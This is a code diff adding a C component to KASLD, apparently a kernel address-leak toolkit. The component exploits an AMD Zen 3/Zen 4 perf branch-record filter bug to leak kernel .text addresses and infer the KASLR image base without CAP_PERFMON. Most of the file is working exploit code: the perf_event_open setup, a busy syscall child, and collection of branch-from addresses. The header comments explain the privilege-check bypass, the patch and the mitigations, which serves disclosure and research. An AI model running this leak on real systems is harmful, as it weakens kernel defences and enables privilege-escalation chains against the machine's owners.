|
| 1 | +// This file is part of KASLD - https://github.com/bcoles/kasld |
| 2 | +// |
| 3 | +// Leak kernel .text addresses through an AMD branch-record privilege-filter bug |
| 4 | +// (PERF_SAMPLE_BRANCH_USER at perf_event_paranoid=2). |
| 5 | +// |
| 6 | +// The INTENDED way to read kernel branch records — PERF_SAMPLE_BRANCH_KERNEL, |
| 7 | +// the sibling perf_lbr_sampling.c — sets PERF_SAMPLE_BRANCH_PERM_PLM and so |
| 8 | +// trips perf_allow_kernel(): it needs perf_event_paranoid<=1 or CAP_PERFMON. |
| 9 | +// This component reaches the same kernel addresses WITHOUT that capability, by |
| 10 | +// exploiting an AMD software-filter bug: it requests USER-only branches (which |
| 11 | +// never set PERM_PLM, so the gate is never consulted and the event is allowed |
| 12 | +// at the default paranoid=2 for one's own process), and the AMD branch filter |
| 13 | +// forgets to mask the branch-FROM privilege. |
| 14 | +// |
| 15 | +// On AMD, branch privilege-level filtering is done entirely in software: |
| 16 | +// amd_brs_match_plm() (Zen 3, X86_FEATURE_BRS) and the LBR-V2 filter (Zen 4, |
| 17 | +// X86_FEATURE_AMD_LBR_V2) validate only the branch-TO address against the |
| 18 | +// requested privilege level. For a branch FROM the kernel to user space — a |
| 19 | +// SYSRET / ERET / interrupt return — the branch-from address is left unchecked |
| 20 | +// and is delivered to a BRANCH_USER caller. Those sites sit at the very start |
| 21 | +// of .text (the entry trampolines), so the leaked branch-from is a tight |
| 22 | +// interior witness of the image base. |
| 23 | +// |
| 24 | +// A cycles event with PERF_SAMPLE_BRANCH_STACK + branch_sample_type = |
| 25 | +// BRANCH_ANY|BRANCH_USER routes through amd_pmu_branch_hw_config() to BRS on |
| 26 | +// Zen 3 or LBR-V2 on Zen 4 (both accept ANY|PLM); one attr covers both. Only |
| 27 | +// branch-FROM carries the kernel leak, so only from-endpoints are kept. |
| 28 | +// |
| 29 | +// NOT VALIDATED against a live leak: the branch-from disclosure has not been |
| 30 | +// observed firing on real hardware. |
| 31 | +// |
| 32 | +// Leak primitive: |
| 33 | +// Data leaked: kernel .text addresses (branch-from of SYSRET/ERET/IRET) |
| 34 | +// Kernel subsystem: arch/x86/events/amd — BRS (Zen3) / LBR-V2 (Zen4) filter |
| 35 | +// Data structure: perf_branch_entry { from, to, flags } — the `from` field |
| 36 | +// Address type: virtual (kernel text) |
| 37 | +// Method: parsed (CPU hardware branch trace) |
| 38 | +// Access check: NONE for kernel branch-from — the bug; opens at |
| 39 | +// paranoid=2 Patch: amd_brs_match_plm / lbr filter also check |
| 40 | +// branch-from |
| 41 | +// (v7.2-rc3, commits 47915e855fb3 (BRS) + 2a892294b83f |
| 42 | +// (LBR-V2)). Hole present since v5.19 (BRS) / v6.1 |
| 43 | +// (LBR-V2). |
| 44 | +// |
| 45 | +// Self-detecting: emits only when a real kernel-text branch-from comes back, so |
| 46 | +// it is a silent no-op on Intel (the hardware filter masks correctly), on AMD |
| 47 | +// parts without BRS/LBR-V2, on a patched kernel, and under emulation (qemu-TCG |
| 48 | +// models no BRS/LBR). |
| 49 | +// |
| 50 | +// Mitigations: |
| 51 | +// Patched at v7.2-rc3 (the software filter now checks branch-from). On an |
| 52 | +// unpatched kernel there is no unprivileged mitigation short of |
| 53 | +// perf_event_paranoid>=3 (which blocks own-process sampling entirely). |
| 54 | +// |
| 55 | +// x86_64 only — BRS/LBR are x86-specific AMD hardware. |
| 56 | +// --- |
| 57 | +// <bcoles@gmail.com> |
| 58 | + |
| 59 | +#if !defined(__x86_64__) |
| 60 | +#error "Architecture is not supported" |
| 61 | +#endif |
| 62 | + |
| 63 | +#define _GNU_SOURCE |
| 64 | +#include "include/kasld/api.h" |
| 65 | +#include "include/kasld/cli.h" |
| 66 | +#include "include/kasld/perf_branch.h" |
| 67 | +#include <errno.h> |
| 68 | +#include <linux/perf_event.h> |
| 69 | +#include <signal.h> |
| 70 | +#include <stdint.h> |
| 71 | +#include <stdio.h> |
| 72 | +#include <stdlib.h> |
| 73 | +#include <string.h> |
| 74 | +#include <sys/syscall.h> |
| 75 | +#include <sys/utsname.h> |
| 76 | +#include <sys/wait.h> |
| 77 | +#include <unistd.h> |
| 78 | + |
| 79 | +KASLD_EXPLAIN( |
| 80 | + "Opens a perf event requesting USER-only branches " |
| 81 | + "(branch_sample_type=ANY|USER) against a child doing a busy syscall loop. " |
| 82 | + "Requesting user branches never sets PERM_PLM, so the event is allowed at " |
| 83 | + "the default perf_event_paranoid=2 without CAP_PERFMON. On AMD (Zen 3 BRS " |
| 84 | + "/ " |
| 85 | + "Zen 4 LBR-V2) the software branch filter validates only the branch-to " |
| 86 | + "privilege, so kernel branch-from addresses of SYSRET/ERET/interrupt " |
| 87 | + "returns leak anyway - kernel .text. Patched v7.2-rc3; a no-op on " |
| 88 | + "Intel/patched/emulated CPUs."); |
| 89 | + |
| 90 | +KASLD_META("method:parsed\n" |
| 91 | + "phase:inference\n" |
| 92 | + "live:1\n" |
| 93 | + "discloses:virtual\n" |
| 94 | + "note:bypasses_perfmon\n" |
| 95 | + "patch:v7.2\n"); |
| 96 | + |
| 97 | +int main(int argc, char *argv[]) { |
| 98 | + kasld_cli(argc, argv); |
| 99 | + if (kasld_skip_live_probe("perf AMD branch-user")) |
| 100 | + return 0; |
| 101 | + int verbose = kasld_is_verbose(); |
| 102 | + |
| 103 | + long page_size = sysconf(_SC_PAGESIZE); |
| 104 | + if (page_size <= 0) |
| 105 | + return KASLD_EXIT_UNAVAILABLE; |
| 106 | + |
| 107 | + kasld_info("trying AMD BRANCH_USER branch-from leak on a busy-syscall " |
| 108 | + "child ..."); |
| 109 | + |
| 110 | + pid_t child = fork(); |
| 111 | + if (child == -1) { |
| 112 | + perror("[-] fork"); |
| 113 | + return KASLD_EXIT_UNAVAILABLE; |
| 114 | + } |
| 115 | + if (child == 0) { |
| 116 | + /* Busy syscall loop: each syscall return is a SYSRET whose branch-from is |
| 117 | + * a kernel entry-text address — the address this leak recovers. */ |
| 118 | + struct utsname self; |
| 119 | + while (1) |
| 120 | + kasld_uname(&self); |
| 121 | + _exit(0); |
| 122 | + } |
| 123 | + |
| 124 | + /* Request USER branches only: this never sets PERM_PLM, so perf_allow_kernel |
| 125 | + * is not consulted and the event opens at the default paranoid=2. A cycles |
| 126 | + * event with BRANCH_STACK enables BRS (Zen 3) or LBR-V2 (Zen 4). exclude_ |
| 127 | + * kernel=1 keeps event counting user-only (paranoid=2-safe); the branch-from |
| 128 | + * leak arrives through the branch stack regardless. */ |
| 129 | + struct perf_event_attr attr; |
| 130 | + memset(&attr, 0, sizeof(attr)); |
| 131 | + attr.type = PERF_TYPE_HARDWARE; |
| 132 | + attr.config = PERF_COUNT_HW_CPU_CYCLES; |
| 133 | + attr.size = sizeof(attr); |
| 134 | + attr.sample_period = 10000; |
| 135 | + attr.sample_type = PERF_SAMPLE_IP | PERF_SAMPLE_BRANCH_STACK; |
| 136 | + attr.branch_sample_type = PERF_SAMPLE_BRANCH_ANY | PERF_SAMPLE_BRANCH_USER; |
| 137 | + attr.exclude_kernel = 1; |
| 138 | + attr.exclude_hv = 1; |
| 139 | + attr.disabled = 1; |
| 140 | + attr.wakeup_events = 1; |
| 141 | + |
| 142 | + long fd = kasld_perf_event_open(&attr, child, -1, -1, 0); |
| 143 | + if (fd < 0) { |
| 144 | + int e = errno; |
| 145 | + kill(child, SIGKILL); |
| 146 | + waitpid(child, NULL, 0); |
| 147 | + if (e == EACCES || e == EPERM) { |
| 148 | + /* paranoid>=3 (own-process sampling blocked) or a hardened LSM. */ |
| 149 | + fprintf(stderr, "[-] perf_event_open EACCES - perf_event_paranoid>=3?\n"); |
| 150 | + return KASLD_EXIT_NOPERM; |
| 151 | + } |
| 152 | + if (e == ENOENT || e == EOPNOTSUPP) { |
| 153 | + kasld_err("no branch-record hardware (not AMD Zen3/Zen4, or no BRS/LBR)"); |
| 154 | + return KASLD_EXIT_UNAVAILABLE; |
| 155 | + } |
| 156 | + errno = e; |
| 157 | + perror("[-] perf_event_open"); |
| 158 | + return KASLD_EXIT_UNAVAILABLE; |
| 159 | + } |
| 160 | + |
| 161 | + /* Only branch-FROM endpoints carry the kernel leak under a USER request. */ |
| 162 | + struct kasld_perf_min acc = { |
| 163 | + .min_addr = ~0UL, .n = 0, .from_only = 1, .verbose = verbose}; |
| 164 | + int n_samples = kasld_perf_branch_collect( |
| 165 | + (int)fd, page_size, KASLD_PERF_TARGET_SAMPLES, kasld_perf_min_cb, &acc); |
| 166 | + |
| 167 | + close((int)fd); |
| 168 | + kill(child, SIGKILL); |
| 169 | + waitpid(child, NULL, 0); |
| 170 | + |
| 171 | + if (n_samples < 0) { |
| 172 | + kasld_err("perf ring mmap/enable failed"); |
| 173 | + return KASLD_EXIT_UNAVAILABLE; |
| 174 | + } |
| 175 | + if (acc.n == 0) { |
| 176 | + /* Opened, but no kernel branch-from came back: Intel (filter correct), |
| 177 | + * a non-vulnerable AMD part, a patched kernel, or emulation. */ |
| 178 | + kasld_err("no kernel branch-from leaked (not a vulnerable AMD kernel)"); |
| 179 | + return KASLD_EXIT_UNAVAILABLE; |
| 180 | + } |
| 181 | + |
| 182 | + /* The leaked branch-from sits at image_base + offset (offset >= 0) — a sound |
| 183 | + * interior witness bounding image_base from above. Emit RAW; the engine's |
| 184 | + * range_from_interior derives the sound C_UPPER_BOUND on Q_VIRT_IMAGE_BASE. |
| 185 | + * See perf_lbr_sampling.c for the flooring rationale. */ |
| 186 | + kasld_found("%lu kernel branch-from address(es) across %d sample(s)", acc.n, |
| 187 | + n_samples); |
| 188 | + kasld_info( |
| 189 | + " lowest leaked kernel-text address: 0x%lx (upper bound on base)", |
| 190 | + acc.min_addr); |
| 191 | + kasld_result_sample(KASLD_TYPE_VIRT, REGION_KERNEL_TEXT, acc.min_addr, NULL, |
| 192 | + CONF_PARSED); |
| 193 | + |
| 194 | + /* Entry-text branch-from sites sit in the base's own slot, so flooring the |
| 195 | + * lowest to the base grid is a within-one-slot GUESS: emit it as a |
| 196 | + * CONF_HEURISTIC base pin shaping only the LIKELY window, never the |
| 197 | + * guaranteed one. Gated on the 2 MiB grid (x86 only), as in the sibling. */ |
| 198 | +#if KASLR_VIRT_ALIGN >= 2 * MB |
| 199 | + kasld_result_base(KASLD_TYPE_VIRT, REGION_KERNEL_IMAGE, |
| 200 | + kasld_floor_text_base(acc.min_addr), NULL, CONF_HEURISTIC); |
| 201 | +#endif |
| 202 | + return 0; |
| 203 | +} |
0 commit comments